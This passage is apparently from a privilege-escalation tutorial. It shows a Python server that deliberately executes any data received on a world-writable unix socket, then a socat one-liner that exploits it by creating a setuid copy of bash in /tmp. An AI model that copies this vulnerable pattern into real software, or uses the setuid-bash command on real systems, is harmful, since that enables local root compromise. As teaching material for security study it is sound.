## Socket binding example with Python
|
||
|
|
|
||
|
|
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
|
||
|
|
|
||
|
|
{% code title="s.py" %}
|
||
|
|
```python
|
||
|
|
import socket
|
||
|
|
import os, os.path
|
||
|
|
import time
|
||
|
|
from collections import deque
|
||
|
|
|
||
|
|
if os.path.exists("/tmp/socket_test.s"):
|
||
|
|
os.remove("/tmp/socket_test.s")
|
||
|
|
|
||
|
|
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||
|
|
server.bind("/tmp/socket_test.s")
|
||
|
|
os.system("chmod o+w /tmp/socket_test.s")
|
||
|
|
while True:
|
||
|
|
server.listen(1)
|
||
|
|
conn, addr = server.accept()
|
||
|
|
datagram = conn.recv(1024)
|
||
|
|
if datagram:
|
||
|
|
print(datagram)
|
||
|
|
os.system(datagram)
|
||
|
|
conn.close()
|
||
|
|
```
|
||
|
|
{% endcode %}
|
||
|
|
|
||
|
|
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
|
||
|
|
|
||
|
|
```python
|
||
|
|
netstat -a -p --unix | grep "socket_test"
|
||
|
|
(Not all processes could be identified, non-owned process info
|
||
|
|
will not be shown, you would have to be root to see it all.)
|
||
|
|
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||
|
|
```
|
||
|
|
|
||
|
|
**Exploit**
|
||
|
|
|
||
|
|
```python
|
||
|
|
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||
|
|
```
